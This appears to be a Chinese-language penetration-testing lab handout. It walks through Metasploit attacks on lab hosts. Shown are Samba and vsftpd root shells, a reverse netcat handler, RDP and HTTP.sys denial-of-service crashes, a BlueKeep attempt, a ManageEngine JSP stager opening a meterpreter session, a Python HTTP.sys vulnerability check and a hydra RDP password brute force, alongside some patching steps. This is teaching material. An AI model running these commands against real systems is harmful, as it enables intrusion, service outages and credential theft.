Top

  1. Auxiliary 辅助模块
  2. Exploit 漏洞利用模块
  3. HTTP.sys RCE 漏洞利用
  4. CVE-2019-0708 漏洞利用
  5. 桌面管理软件漏洞利用

1 Auxiliary 辅助模块

1.1 问题

1）扫描 Tomcat Web 服务版本

2）Mysql 数据枚举用户信息

3）HTTP 扫描

4）MS12-020 漏洞扫描

1.2 步骤

实现此案例需要按照如下步骤进行。

步骤一：扫描 Tomcat Web 服务版本

  3. 1.  msf6 > search tomcat_admin
  5. 3.  Matching Modules
  6. 4.  ================
  8. 6.     #  Name                                        Disclosure Date  Rank    Check  Description
  9. 7.     -  \-\-\-\-                                        \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-  \-\-\-\-    \-\-\-\-\-  \-\-\-\-\-\-\-\-\-\-\-
  10. 8.     0  auxiliary/admin/http/tomcat_administration                   normal  No     Tomcat Administration Tool Default Access
  12. 11.  msf6 > use 0
  13. 12.  msf6 auxiliary(admin/http/tomcat_administration) > set rhosts 192.168.10.143
  14. 13.  rhosts => 192.168.10.143
  15. 14.  msf6 auxiliary(admin/http/tomcat_administration) > run
  17. 16.  \[*\] http:
  18. 17.  \[*\] Scanned 1 of 1 hosts (100% complete)
  19. 18.  \[*\] Auxiliary module execution completed

步骤二：MySQL 数据枚举用户信息

  3. 1.  msf6 > search mysql_enum
  5. 3.  Matching Modules
  6. 4.  ================
  8. 6.     #  Name                              Disclosure Date  Rank    Check  Description
  9. 7.     -  \-\-\-\-                              \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-  \-\-\-\-    \-\-\-\-\-  \-\-\-\-\-\-\-\-\-\-\-
  10. 8.     0  auxiliary/admin/mysql/mysql_enum                   normal  No     MySQL Enumeration Module
  12. 11.  Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/mysql/mysql_enum
  14. 13.  msf6 > use 0
  15. 14.  msf6 auxiliary(admin/mysql/mysql_enum) > set rhosts 192.168.10.143
  16. 15.  rhosts => 192.168.10.143
  17. 16.  msf6 auxiliary(admin/mysql/mysql_enum) > set username root
  18. 17.  username => root
  19. 18.  msf6 auxiliary(admin/mysql/mysql_enum) > run
  20. 19.  \[*\] Running module against 192.168.10.143
  22. 21.  \[*\] 192.168.10.143:3306 - Running MySQL Enumerator...
  23. 22.  \[*\] 192.168.10.143:3306 - Enumerating Parameters
  24. 23.  \[*\] 192.168.10.143:3306 -       MySQL Version: 5.0.51a-3ubuntu5
  25. 24.  \[*\] 192.168.10.143:3306 -       Compiled for the following OS: debian-linux-gnu
  26. 25.  \[*\] 192.168.10.143:3306 -       Architecture: i486
  27. 26.  \[*\] 192.168.10.143:3306 -       Server Hostname: metasploitable
  28. 27.  \[*\] 192.168.10.143:3306 -       Data Directory: /var/lib/mysql/
  29. 28.  \[*\] 192.168.10.143:3306 -       Logging of queries and logins: OFF
  30. 29.  \[*\] 192.168.10.143:3306 -       Old Password Hashing Algorithm OFF
  31. 30.  \[*\] 192.168.10.143:3306 -       Loading of local files: ON
  32. 31.  \[*\] 192.168.10.143:3306 -       Deny logins with old Pre-4.1 Passwords: OFF
  33. 32.  \[*\] 192.168.10.143:3306 -       Allow Use of symlinks for Database Files: YES
  34. 33.  \[*\] 192.168.10.143:3306 -       Allow Table Merge: YES
  35. 34.  \[*\] 192.168.10.143:3306 -       SSL Connections: Enabled
  36. 35.  \[*\] 192.168.10.143:3306 -       SSL CA Certificate: /etc/mysql/cacert.pem
  37. 36.  \[*\] 192.168.10.143:3306 -       SSL Key: /etc/mysql/server-key.pem
  38. 37.  \[*\] 192.168.10.143:3306 -       SSL Certificate: /etc/mysql/server-cert.pem
  39. 38.  \[*\] 192.168.10.143:3306 - Enumerating Accounts:
  40. 39.  \[*\] 192.168.10.143:3306 -       List of Accounts with Password Hashes:
  41. 40.  \[+\] 192.168.10.143:3306 -               User: debian-sys-maint Host:  Password Hash: 
  42. 41.  \[+\] 192.168.10.143:3306 -               User: root Host: % Password Hash: 
  43. 42.  \[+\] 192.168.10.143:3306 -               User: guest Host: % Password Hash: 
  44. 43.  \[*\] 192.168.10.143:3306 -       The following users have GRANT Privilege:
  45. 44.  \[*\] 192.168.10.143:3306 -               User: debian-sys-maint Host: 
  46. 45.  \[*\] 192.168.10.143:3306 -               User: root Host: %
  47. 46.  \[*\] 192.168.10.143:3306 -               User: guest Host: %
  48. 47.  \[*\] 192.168.10.143:3306 -       The following users have CREATE USER Privilege:
  49. 48.  \[*\] 192.168.10.143:3306 -               User: root Host: %
  50. 49.  \[*\] 192.168.10.143:3306 -               User: guest Host: %
  51. 50.  \[*\] 192.168.10.143:3306 -       The following users have RELOAD Privilege:
  52. 51.  \[*\] 192.168.10.143:3306 -               User: debian-sys-maint Host: 
  53. 52.  \[*\] 192.168.10.143:3306 -               User: root Host: %
  54. 53.  \[*\] 192.168.10.143:3306 -               User: guest Host: %
  55. 54.  \[*\] 192.168.10.143:3306 -       The following users have SHUTDOWN Privilege:
  56. 55.  \[*\] 192.168.10.143:3306 -               User: debian-sys-maint Host: 
  57. 56.  \[*\] 192.168.10.143:3306 -               User: root Host: %
  58. 57.  \[*\] 192.168.10.143:3306 -               User: guest Host: %
  59. 58.  \[*\] Auxiliary module execution completed

步骤三：HTTP 扫描

  3. 1.  msf6 > search dir_scanner 
  5. 3.  Matching Modules
  6. 4.  ================
  8. 6.     #  Name                                Disclosure Date  Rank    Check  Description
  9. 7.     -  \-\-\-\-                                \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-  \-\-\-\-    \-\-\-\-\-  \-\-\-\-\-\-\-\-\-\-\-
  10. 8.     0  auxiliary/scanner/http/dir_scanner                   normal  No     HTTP Directory Scanner
  12. 11.  Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/dir_scanner
  14. 13.  msf6 > use 0
  15. 14.  msf6 auxiliary(scanner/http/dir_scanner) > set rhosts 192.168.10.143
  16. 15.  rhosts => 192.168.10.143
  17. 16.  msf6 auxiliary(scanner/http/dir_scanner) > run
  19. 18.  \[*\] Detecting error code
  20. 19.  \[*\] Using code '404' as not found for 192.168.10.143
  21. 20.  \[+\] Found http:
  22. 21.  \[+\] Found http:
  23. 22.  \[+\] Found http:
  24. 23.  \[+\] Found http:
  25. 24.  \[+\] Found http:
  26. 25.  \[+\] Found http:
  27. 26.  \[*\] Scanned 1 of 1 hosts (100% complete)
  28. 27.  \[*\] Auxiliary module execution completed

步骤四：MS12-020 漏洞扫描

  3. 1.  msf6 > search ms12-020
  5. 3.  Matching Modules
  6. 4.  ================
  8. 6.     #  Name                                              Disclosure Date  Rank    Check  Description
  9. 7.     -  \-\-\-\-                                              \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-  \-\-\-\-    \-\-\-\-\-  \-\-\-\-\-\-\-\-\-\-\-
  10. 8.     0  auxiliary/dos/windows/rdp/ms12\_020\_maxchannelids  2012-03-16       normal  No     MS12-020 Microsoft Remote Desktop Use-After-Free DoS
  11. 9.     1  auxiliary/scanner/rdp/ms12\_020\_check                               normal  Yes    MS12-020 Microsoft Remote Desktop Checker
  13. 12.  Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/rdp/ms12\_020\_check
  15. 14.  msf6 > use 1
  16. 15.  msf6 auxiliary(scanner/rdp/ms12\_020\_check) > set rhosts 192.168.10.145
  17. 16.  rhosts => 192.168.10.145
  18. 17.  msf6 auxiliary(scanner/rdp/ms12\_020\_check) > run
  20. 19.  \[+\] 192.168.10.145:3389   - 192.168.10.145:3389 - The target is vulnerable.
  21. 20.  \[*\] 192.168.10.145:3389   - Scanned 1 of 1 hosts (100% complete)
  22. 21.  \[*\] Auxiliary module execution completed

2 Exploit 漏洞利用模块

2.1 问题

1）SMB 服务漏洞利用

2）VSFTPD 后门漏洞利用

3）PHP 代码参数注入

4）RDP 远程命令执行漏洞

2.2 步骤

实现此案例需要按照如下步骤进行。

步骤一：SMB 服务漏洞利用

  3. 1.  msf6 > search CVE-2007-2447
  5. 3.  Matching Modules
  6. 4.  ================
  8. 6.     #  Name                                Disclosure Date  Rank       Check  Description
  9. 7.     -  \-\-\-\-                                \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-  \-\-\-\-       \-\-\-\-\-  \-\-\-\-\-\-\-\-\-\-\-
  10. 8.     0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution
  12. 11.  Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
  14. 13.  msf6 > use 0
  15. 14.  \[*\] No payload configured, defaulting to cmd/unix/reverse_netcat
  16. 15.  msf6 exploit(multi/samba/usermap_script) > set rhosts 192.168.10.143
  17. 16.  rhosts => 192.168.10.143
  18. 17.  msf6 exploit(multi/samba/usermap_script) > run
  20. 19.  \[*\] Started reverse TCP handler on 192.168.10.136:4444 
  21. 20.  \[*\] Command shell session 1 opened (192.168.10.136:4444 -> 192.168.10.143:58125) at 2021-03-23 21:17:35 +0800
  23. 22.  pwd
  24. 23.  /
  26. 25.  whoami
  27. 26.  root

步骤二：VSFTPD 后门漏洞利用

  3. 1.  msf6 > search vsftpd
  5. 3.  Matching Modules
  6. 4.  ================
  8. 6.     #  Name                                  Disclosure Date  Rank       Check  Description
  9. 7.     -  \-\-\-\-                                  \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-  \-\-\-\-       \-\-\-\-\-  \-\-\-\-\-\-\-\-\-\-\-
  10. 8.     0  exploit/unix/ftp/vsftpd\_234\_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
  12. 11.  Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd\_234\_backdoor
  14. 13.  msf6 > use 0
  15. 14.  \[*\] No payload configured, defaulting to cmd/unix/interact
  16. 15.  msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) > set rhosts 192.168.10.143
  17. 16.  rhosts => 192.168.10.137
  18. 17.  msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) > run
  20. 19.  \[*\] 192.168.10.137:21 - Banner: 220 (vsFTPd 2.3.4)
  21. 20.  \[*\] 192.168.10.137:21 - USER: 331 Please specify the password.
  22. 21.  \[+\] 192.168.10.137:21 - Backdoor service has been spawned, handling...
  23. 22.  \[+\] 192.168.10.137:21 - UID: uid=0(root) gid=0(root)
  24. 23.  \[*\] Found shell.
  25. 24.  \[*\] Command shell session 2 opened (0.0.0.0:0 -> 192.168.10.143:6200) at 2021-03-23 21:23:43 +0800
  27. 26.  uname -a
  28. 27.  Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
  30. 29.  whoami
  31. 30.  root

步骤三：RDP 远程命令执行漏洞

  3. 1.  msf6 > search ms12-020
  5. 3.  Matching Modules
  6. 4.  ================
  8. 6.     #  Name                                              Disclosure Date  Rank    Check  Description
  9. 7.     -  \-\-\-\-                                              \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-  \-\-\-\-    \-\-\-\-\-  \-\-\-\-\-\-\-\-\-\-\-
  10. 8.     0  auxiliary/dos/windows/rdp/ms12\_020\_maxchannelids  2012-03-16       normal  No     MS12-020 Microsoft Remote Desktop Use-After-Free DoS
  11. 9.     1  auxiliary/scanner/rdp/ms12\_020\_check                               normal  Yes    MS12-020 Microsoft Remote Desktop Checker
  13. 12.  Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/rdp/ms12\_020\_check
  15. 14.  msf6 > use 0
  16. 15.  msf6 auxiliary(dos/windows/rdp/ms12\_020\_maxchannelids) > set rhosts 192.168.10.145
  17. 16.  rhosts => 192.168.10.145
  18. 17.  msf6 auxiliary(dos/windows/rdp/ms12\_020\_maxchannelids) > run
  19. 18.  \[*\] Running module against 192.168.10.145
  21. 20.  \[*\] 192.168.10.145:3389 - 192.168.10.145:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
  22. 21.  \[*\] 192.168.10.145:3389 - 192.168.10.145:3389 - 210 bytes sent
  23. 22.  \[*\] 192.168.10.145:3389 - 192.168.10.145:3389 - Checking RDP status...
  24. 23.  \[+\] 192.168.10.145:3389 - 192.168.10.145:3389 seems down
  25. 24.  \[*\] Auxiliary module execution completed

攻击成功，如图 - 1 所示。

CASE - 图1

图 - 1

3 HTTP.sys RCE 漏洞利用

3.1 问题

1）在 OpenVAS 扫描结果中找到 HTTP.sys RCE 漏洞

2）利用漏洞攻击 Win2008 Server

  • 使用 POC 脚本检测目标漏洞
  • Msf 控制台 搜索 CVE-2015-1635
  • 使用扫描脚本扫描目标主机
  • 发现目标存在漏洞，进行漏洞利用

3）漏洞防御

  • 关闭 IIS 核心缓存
  • 安装系统补丁文件

3.2 步骤

实现此案例需要按照如下步骤进行。

步骤一：检查扫描结果

查看漏洞信息、分析结果。

CASE - 图2

图 - 2

步骤二：利用漏洞攻击 Win2008 Server

1）查看 POC 漏洞检查脚本

  3. 1.  ┌──(root@localhost)-\[~/桌面\]
  4. 2.  └─# cat cve-2015-1635.poc                                                                 
  5. 3.  import socket
  7. 5.  import random
  9. 7.  ipAddr = "192.168.10.145"
  11. 9.  hexAllFfff = "18446744073709551615"
  13. 11.  req1 = "GET / HTTP/1.0\\r\\n\\r\\n"
  15. 13.  req = "GET / HTTP/1.1\\r\\nHost: stuff\\r\\nRange: bytes=0-" + hexAllFfff + "\\r\\n\\r\\n"
  17. 15.  print "\[*\] Audit Started"
  19. 17.  client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  21. 19.  client_socket.connect((ipAddr, 80))
  23. 21.  client_socket.send(req1)
  25. 23.  boringResp = client_socket.recv(1024)
  27. 25.  if "Microsoft" not in boringResp:
  29. 27.      print "\[*\] Not IIS"
  31. 29.      exit(0)
  33. 31.  client_socket.close()
  35. 33.  client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  37. 35.  client_socket.connect((ipAddr, 80))
  39. 37.  client_socket.send(req)
  41. 39.  goodResp = client_socket.recv(1024)
  43. 41.  if "Requested Range Not Satisfiable" in goodResp:
  45. 43.      print "\[!!\] Looks VULN"
  47. 45.  elif "The request has an invalid header name" in goodResp:
  49. 47.      print "\[*\] Looks Patched"
  51. 49.  else:
  53. 51.      print "\[*\] Unexpected response, cannot discern patch status"
  55. 53.  ┌──(root@localhost)-\[~/桌面\]
  56. 54.  └─# python cve-2015-1635.poc 
  57. 55.  \[*\] Audit Started
  58. 56.  \[!!\] Looks VULN

2）Msf 控制台 搜索 CVE-2015-1635

  3. 1.  msf6 > search CVE-2015-1635 或 MS15-034
  4. 2.  0  auxiliary/dos/http/ms15\_034\_ulonglongadd    
  5. 3.  1  auxiliary/scanner/http/ms15\_034\_http\_sys\_memory_dump

3）使用扫描脚本扫描目标主机

  3. 1.  msf6 > use 1
  4. 2.  msf6 auxiliary(scanner/http/ms15\_034\_http\_sys\_memory_dump) > set rhosts 192.168.10.145
  5. 3.  rhosts => 192.168.10.145
  6. 4.  msf6 auxiliary(scanner/http/ms15\_034\_http\_sys\_memory_dump) > run 
  8. 6.  \[+\] Target may be vulnerable...
  9. 7.  \[+\] Stand by...
  10. 8.  \[-\] Memory dump start position not found, dumping all data instead
  12. 10.  \[+\] Memory contents:
  13. 11.  48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64    |HTTP/1.1 400 Bad|
  14. 12.  20 52 65 71 75 65 73 74 0d 0a 43 6f 6e 74 65 6e    | Request..Conten|
  15. 13.  74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d    |t-Type: text/htm|
  16. 14.  6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73    |l; charset=us-as|
  17. 15.  63 69 69 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63    |cii..Server: Mic|
  18. 16.  72 6f 73 6f 66 74 2d 48 54 54 50 41 50 49 2f 32    |rosoft-HTTPAPI/2|
  19. 17.  2e 30 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32    |.0..Date: Mon, 2|
  20. 18.  32 20 4d 61 72 20 32 30 32 31 20 30 32 3a 31 33    |2 Mar 2021 02:13|
  21. 19.  3a 33 35 20 47 4d 54 0d 0a 43 6f 6e 6e 65 63 74    |:35 GMT..Connect|
  22. 20.  69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74    |ion: close..Cont|
  23. 21.  65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 34 36 0d    |ent-Length: 346.|
  24. 22.  0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d    |...<!DOCTYPE HTM|
  25. 23.  4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43    |L PUBLIC "-//W3C|
  26. 24.  2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f    |//DTD HTML 4.01/|
  27. 25.  2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e    |/EN""http://www.|
  28. 26.  77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f    |w3.org/TR/html4/|
  29. 27.  73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48    |strict.dtd">..<H|
  30. 28.  54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45    |TML><HEAD><TITLE|
  31. 29.  3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49    |>Bad Request</TI|
  32. 30.  54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50    |TLE>..<META HTTP|
  33. 31.  2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d    |-EQUIV="Content-|
  34. 32.  54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74    |Type" Content="t|
  35. 33.  65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65    |ext/html; charse|
  36. 34.  74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45    |t=us-ascii"></HE|
  37. 35.  41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42    |AD>..<BODY><h2>B|
  38. 36.  61 64 20 52 65 71 75 65 73 74 20 2d 20 52 65 71    |ad Request - Req|
  39. 37.  75 65 73 74 20 54 6f 6f 20 4c 6f 6e 67 3c 2f 68    |uest Too Long</h|
  40. 38.  32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20    |2>..<hr><p>HTTP |
  41. 39.  45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 73    |Error 400. The s|
  42. 40.  69 7a 65 20 6f 66 20 74 68 65 20 72 65 71 75 65    |ize of the reque|
  43. 41.  73 74 20 68 65 61 64 65 72 73 20 69 73 20 74 6f    |st headers is to|
  44. 42.  6f 20 6c 6f 6e 67 2e 3c 2f 70 3e 0d 0a 3c 2f 42    |o long.</p>..</B|
  45. 43.  4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a             |ODY></HTML>..|
  47. 46.  \[+\] Memory dump saved to /root/.msf4/loot/20210322101335\_default\_192.168.10.145_iis.ms15034_994565.bin
  48. 47.  \[*\] Scanned 1 of 1 hosts (100% complete)
  49. 48.  \[*\] Auxiliary module execution completed

4）发现目标存在漏洞，进行漏洞利用

  3. 1.  msf6 auxiliary(scanner/http/ms15\_034\_http\_sys\_memory_dump) > back
  4. 2.  msf6 > use 0
  5. 3.  msf6 auxiliary(dos/http/ms15\_034\_ulonglongadd) > set rhosts 192.168.10.145
  6. 4.  rhosts => 192.168.10.145
  7. 5.  msf6 auxiliary(dos/http/ms15\_034\_ulonglongadd) > run
  9. 7.  \[*\] DOS request sent
  10. 8.  \[*\] Scanned 1 of 1 hosts (100% complete)
  11. 9.  \[*\] Auxiliary module execution completed

Win2008 蓝屏，如图 - 3 所示。

CASE - 图3

图 - 3

步骤三：漏洞防御

1）关闭 IIS 核心缓存

如图 - 4、图 - 5 所示。

CASE - 图4

图 - 4

CASE - 图5

图 - 5

2）安装系统补丁文件

访问微软官网下载补丁文件 Windows6.1-KB3042553-x86.msu，或者使用 Windows 自动更新进行升级。下载地址：https://www.microsoft.com/zh-tw/download/details.aspx?id=46501 。

3）检查结果

如图 - 6、图 - 7 所示。

CASE - 图6

图 - 6

CASE - 图7

图 - 7

4 CVE-2019-0708 漏洞利用

4.1 问题

1）查找 CVE-2019-0708 漏洞

2）利用漏洞攻击 Win2008 Server

3）漏洞防御

4.2 步骤

实现此案例需要按照如下步骤进行。

步骤一：检查扫描结果

1）查找脚本

  3. 1.  msf6 > search CVE-2019-0708
  4. 2.     #  Name                                            Disclosure Date  Rank    Check  Description
  5. 3.     -  \-\-\-\-                                            \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-  \-\-\-\-    \-\-\-\-\-  \-\-\-\-\-\-\-\-\-\-\-
  6. 4.     0  auxiliary/scanner/rdp/cve\_2019\_0708_bluekeep    2019-05-14       normal  Yes    CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
  7. 5.     1  exploit/windows/rdp/cve\_2019\_0708\_bluekeep\_rce  2019-05-14       manual  Yes    CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free

2）使用扫描脚本扫描

  3. 1.  msf6 > use 0
  4. 2.  msf6 auxiliary(scanner/rdp/cve\_2019\_0708_bluekeep) > set rhosts 192.168.10.145
  5. 3.  rhosts => 192.168.10.145
  6. 4.  msf6 auxiliary(scanner/rdp/cve\_2019\_0708_bluekeep) > run
  8. 6.  \[+\] 192.168.10.145:3389   - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
  9. 7.  \[*\] 192.168.10.145:3389   - Scanned 1 of 1 hosts (100% complete)
  10. 8.  \[*\] Auxiliary module execution completed

步骤二: 利用漏洞攻击 Win2008 Server

1）切换脚本进行漏洞利用

  3. 1.  msf6 auxiliary(scanner/rdp/cve\_2019\_0708_bluekeep) > back
  4. 2.  msf6 > use 1
  5. 3.  \[*\] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

2）设置目标主机地址

  3. 1.  msf6 exploit(windows/rdp/cve\_2019\_0708\_bluekeep\_rce) > set rhosts 192.168.10.145

3）设置目标系统

  3. 1.  msf6 exploit(windows/rdp/cve\_2019\_0708\_bluekeep\_rce) > set target 4
  4. 2.  target => 4
  5. 3.  msf6 exploit(windows/rdp/cve\_2019\_0708\_bluekeep\_rce) > run
  6. 4.  \[*\] Started reverse TCP handler on 192.168.10.136:4444 
  7. 5.  \[*\] 192.168.10.145:3389 - Executing automatic check (disable AutoCheck to override)
  8. 6.  \[*\] 192.168.10.145:3389 - Using auxiliary/scanner/rdp/cve\_2019\_0708_bluekeep as check
  9. 7.  \[+\] 192.168.10.145:3389   - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
  10. 8.  \[*\] 192.168.10.145:3389   - Scanned 1 of 1 hosts (100% complete)
  11. 9.  \[+\] 192.168.10.145:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
  12. 10.  \[*\] 192.168.10.145:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8028600000, Channel count 1.
  13. 11.  \[!\] 192.168.10.145:3389 - <---------------- | Entering Danger Zone | ---------------->
  14. 12.  \[*\] 192.168.10.145:3389 - Surfing channels ...
  15. 13.  \[*\] 192.168.10.145:3389 - Lobbing eggs ...
  16. 14.  \[*\] 192.168.10.145:3389 - Forcing the USE of FREE'd object ...
  17. 15.  \[!\] 192.168.10.145:3389 - <---------------- | Leaving Danger Zone | ---------------->
  18. 16.  \[*\] Exploit completed, but no session was created.

攻击成功，如图 - 8 所示。

CASE - 图8

图 - 8

步骤三: 漏洞防御

1）安装补丁，如图 - 9 所示

CASE - 图9

图 - 9

2）重启系统再次进行漏洞扫描

如图 - 10 所示。

CASE - 图10

图 - 10

5 桌面管理软件漏洞利用

5.1 问题

1）查找 CVE-2015-8249 漏洞

2）利用漏洞攻击 Win2008 Server

3）暴力破解系统密码

5.2 步骤

实现此案例需要按照如下步骤进行。

步骤一：查找漏洞

  3. 1.  msf6 > search CVE-2015-8249
  5. 3.  Matching Modules
  6. 4.  ================
  8. 6.     #  Name                                                  Disclosure Date  Rank       Check  Description
  9. 7.     -  \-\-\-\-                                                  \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-  \-\-\-\-       \-\-\-\-\-  \-\-\-\-\-\-\-\-\-\-\-
  10. 8.     0  exploit/windows/http/manageengine\_connectionid\_write  2015-12-14       excellent  Yes    ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability

步骤二：漏洞利用获取 meterpreter

  3. 1.  msf6 > use 0
  4. 2.  set\[*\] No payload configured, defaulting to windows/meterpreter/reverse_tcp
  5. 3.  msf6 exploit(windows/http/manageengine\_connectionid\_write) > set rhosts 192.168.10.145
  6. 4.  rhosts => 192.168.10.145
  7. 5.  msf6 exploit(windows/http/manageengine\_connectionid\_write) > exploit 
  9. 7.  \[*\] Started reverse TCP handler on 192.168.10.136:4444 
  10. 8.  \[*\] Creating JSP stager
  11. 9.  \[*\] Uploading JSP stager QJTdv.jsp...
  12. 10.  \[*\] Executing stager...
  13. 11.  \[*\] Sending stage (175174 bytes) to 192.168.10.145
  14. 12.  \[*\] Meterpreter session 1 opened (192.168.10.136:4444 -> 192.168.10.145:49298) at 2021-03-22 12:11:57 +0800
  15. 13.  \[!\] This exploit may require manual cleanup of '../webapps/DesktopCentral/jspf/QJTdv.jsp' on the target

步骤三：权限受限无法获取管理员权限

  3. 1.  meterpreter > getuid 
  4. 2.  Server username: NT AUTHORITY\LOCAL SERVICE
  6. 4.  meterpreter > getsystem
  7. 5.  \[-\] priv\_elevate\_getsystem: Operation failed: This function is not supported on this system.
  9. 7.  meterpreter > hashdump
  10. 8.  \[-\] priv\_passwd\_get\_sam\_hashes: Operation failed: The parameter is incorrect.

步骤四：收集系统信息准备暴力破解系统口令

  3. 1.  meterpreter > shell
  4. 2.  Process 2404 created.
  5. 3.  Channel 2 created.
  6. 4.  Microsoft Windows \[Version 6.1.7601\]
  7. 5.  Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
  8. 6.  C:\ManageEngine\DesktopCentral_Server\bin>net user
  9. 7.  net user
  11. 9.  User accounts for \\\
  13. 11.  \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-
  14. 12.  Administrator            anakin\_skywalker         artoo\_detoo              
  15. 13.  ben\_kenobi               boba\_fett                c\_three\_pio              
  16. 14.  chewbacca                darth_vader              greedo                   
  17. 15.  Guest                    han\_solo                 jabba\_hutt               
  18. 16.  jarjar\_binks             kylo\_ren                 lando_calrissian         
  19. 17.  leia\_organa              luke\_skywalker           sshd                     
  20. 18.  sshd_server              vagrant                  
  21. 19.  The command completed with one or more errors.
  22. 20.  C:\ManageEngine\DesktopCentral_Server\bin>dir c:\users
  23. 21.  dir c:\users
  24. 22.   Volume in drive C is Windows 2008R2
  25. 23.   Volume Serial Number is 9CAA-5EC4
  27. 25.   Directory of c:\users
  29. 27.  10/05/2020  10:31 PM    <DIR>          .
  30. 28.  10/05/2020  10:31 PM    <DIR>          ..
  31. 29.  03/10/2021  08:17 AM    <DIR>          Administrator
  32. 30.  10/05/2020  10:31 PM    <DIR>          Classic .NET AppPool
  33. 31.  07/13/2009  09:57 PM    <DIR>          Public
  34. 32.  10/05/2020  10:25 PM    <DIR>          sshd_server
  35. 33.  10/05/2020  10:53 PM    <DIR>          vagrant
  36. 34.                 0 File(s)              0 bytes
  37. 35.                 7 Dir(s)  46,855,233,536 bytes free

步骤五：生成口令字典文件

如图 - 11、图 - 12 所示。

CASE - 图11

图 - 11

CASE - 图12

图 - 12

步骤六：利用 hydra 进行暴力破解

  3. 1.  ┌──(root💀localhost)-\[~/桌面\]
  4. 2.  └─# hydra  -l administrator -P safe6pass.txt  192.168.10.145 rdp
  5. 3.  Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these \*\*\* ignore laws and ethics anyway).
  7. 5.  Hydra (https:
  8. 6.  \[WARNING\] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
  9. 7.  \[INFO\] Reduced number of tasks to 4 (rdp does not like many parallel connections)
  10. 8.  \[WARNING\] the rdp module is experimental. Please test, report - and if possible, fix.
  11. 9.  \[WARNING\] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
  12. 10.  \[DATA\] max 4 tasks per 1 server, overall 4 tasks, 2058 login tries (l:1/p:2058), ~515 tries per task
  13. 11.  \[DATA\] attacking rdp://192.168.10.145:3389/
  14. 12.  \[3389\]\[rdp\] host: 192.168.10.145   login: administrator   password: vagrant
  15. 13.  1 of 1 target successfully completed, 1 valid password found
  16. 14.  Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-22 12:33:17
  18. 16.  ┌──(root💀localhost)-\[~/桌面\]
  19. 17.  └─# hydra  -l vagrant -P safe6pass.txt  192.168.10.145 rdp 
  20. 18.  Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
  22. 20.  Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-22 12:34:43
